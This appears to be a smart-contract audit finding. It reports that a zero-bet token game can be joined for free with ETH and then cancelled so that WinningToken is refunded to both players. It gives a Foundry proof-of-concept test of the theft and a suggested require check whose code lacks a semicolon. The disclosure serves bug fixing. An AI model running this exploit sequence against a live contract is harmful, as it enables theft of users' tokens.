Summary
The game.bet of a game created by createGameWithToken is 0. Another player can join this game without any restrictions by joinGameWithEth with 0 ether of payment. The game can be cancelled then and returns funds (WinningToken) to players. The cancel operation assumes that the player has paid WinningToken. This allows anyone to steal WinningToken by controlling two accounts at the same time.
Impact
Users can steal WinningToken.
Proof Of Concept
forge test --mt testStealWinningToken -vvvv
function testStealWinningToken() public {
assertEq(playerA.balance, 10 ether);
assertEq(playerB.balance, 10 ether);
assertEq(token.balanceOf(playerA), 10);
assertEq(token.balanceOf(playerB), 10);
assertEq(token.balanceOf(address(game)), 0);
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
assertEq(token.balanceOf(playerA), 9);
assertEq(token.balanceOf(address(game)), 1);
vm.startPrank(playerB);
game.joinGameWithEth(gameId);
vm.stopPrank();
vm.startPrank(playerA);
game.cancelGame(gameId);
vm.stopPrank();
assertEq(playerA.balance, 10 ether);
assertEq(playerB.balance, 10 ether);
assertEq(token.balanceOf(playerA), 10);
assertEq(token.balanceOf(playerB), 11);
assertEq(token.balanceOf(address(game)), 1);
}
Tools Used
Manual Review
Recommendations
The game.bet must be greater than minBetwhen a user joins a game by joinGameWithEth.
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
require(game.bet >= minBet, "You join a wrong game!")
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}